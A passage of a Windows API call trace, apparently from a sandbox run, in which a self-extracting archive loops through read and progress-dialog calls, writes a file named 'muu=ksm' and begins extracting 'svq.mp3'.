wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.911] GetTickCount () returned 0x1f99a [0067.911] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.911] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.911] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.911] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.911] GetTickCount () returned 0x1f99a [0067.911] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.911] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.911] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.911] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.911] GetTickCount () returned 0x1f99a [0067.911] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.911] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.911] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.912] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.912] GetTickCount () returned 0x1f99a [0067.912] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.912] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.912] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.912] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.912] GetTickCount () returned 0x1f99a [0067.912] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.912] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.912] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.912] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.912] GetTickCount () returned 0x1f99a [0067.912] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.912] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.912] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.912] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.912] GetTickCount () returned 0x1f99a [0067.912] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.912] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.912] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.912] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.912] GetTickCount () returned 0x1f99a [0067.912] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.912] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.912] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.912] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.912] GetTickCount () returned 0x1f99a [0067.912] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.912] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.912] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.912] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.912] GetTickCount () returned 0x1f99a [0067.912] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.912] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.912] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.912] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.912] GetTickCount () returned 0x1f99a [0067.912] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.912] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.912] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.912] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.912] GetTickCount () returned 0x1f99a [0067.912] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.912] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.912] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.912] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.912] GetTickCount () returned 0x1f99a [0067.913] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.913] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.913] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.913] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.913] GetTickCount () returned 0x1f99a [0067.913] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.913] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.913] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.913] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.913] GetTickCount () returned 0x1f99a [0067.913] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.913] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.913] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.913] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.913] GetTickCount () returned 0x1f99a [0067.913] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.913] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.913] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.913] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.913] GetTickCount () returned 0x1f99a [0067.913] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.913] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.913] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.913] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.913] GetTickCount () returned 0x1f99a [0067.913] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.913] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.913] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.913] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.913] GetTickCount () returned 0x1f99a [0067.913] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.913] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.913] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.913] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.913] GetTickCount () returned 0x1f99a [0067.913] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.913] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.913] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.913] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.913] GetTickCount () returned 0x1f99a [0067.913] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.913] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.914] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.914] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.914] GetTickCount () returned 0x1f99a [0067.914] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.914] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.914] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.914] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.914] GetTickCount () returned 0x1f99a [0067.914] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.914] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.914] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.914] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.914] GetTickCount () returned 0x1f99a [0067.914] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.914] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.914] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.914] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.914] GetTickCount () returned 0x1f99a [0067.914] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.914] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.914] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.914] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.914] GetTickCount () returned 0x1f99a [0067.914] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.914] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.914] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.914] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.914] GetTickCount () returned 0x1f99a [0067.914] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.914] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.914] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.914] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.914] GetTickCount () returned 0x1f99a [0067.914] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.914] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.914] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.914] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.914] GetTickCount () returned 0x1f99a [0067.914] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.914] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.914] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.914] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.914] GetTickCount () returned 0x1f99a [0067.914] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.914] ReadFile (in: hFile=0x1c, lpBuffer=0x270dd1, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270dd1*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0067.914] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0067.914] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0067.914] GetTickCount () returned 0x1f99a [0067.914] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0067.914] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x2d697, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x2d697, lpOverlapped=0x0) returned 1 [0067.917] GetTickCount () returned 0x1f99a [0067.917] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0067.917] SetFilePointer (in: hFile=0x1c, lDistanceToMove=470622, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0x72e5e [0067.917] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0067.917] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0067.917] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0067.917] CloseHandle (hObject=0x138) returned 1 [0067.919] SetFileAttributesA (lpFileName="muu=ksm", dwFileAttributes=0x20) returned 1 [0067.919] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0x72e5e [0067.919] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0067.919] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0067.919] OemToCharA (in: pSrc="svq.mp3", pDst=0x179cc0 | out: pDst="svq.mp3") returned 1 [0067.919] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="svq.mp3", cchCount2=1) returned 1 [0067.919] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="svq.mp3", cchCount2=6) returned 1 [0067.919] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="svq.mp3", cchCount2=-1) returned 1 [0067.919] SetFilePointer (in: hFile=0x1c, lDistanceToMove=470666, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0x72e8a [0067.919] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="svq.mp3") returned 8 [0067.920] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x4196b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0067.920] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting svq.mp3") returned 18 [0067.920] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting svq.mp3") returned 1 [0067.920] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0067.920] OemToCharBuffA (in: lpszSrc="s", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="s") returned 1 [0067.920] CharToOemBuffA (in: lpszSrc="S", lpszDst=0x171600, cchDstLength=0x1 | out: 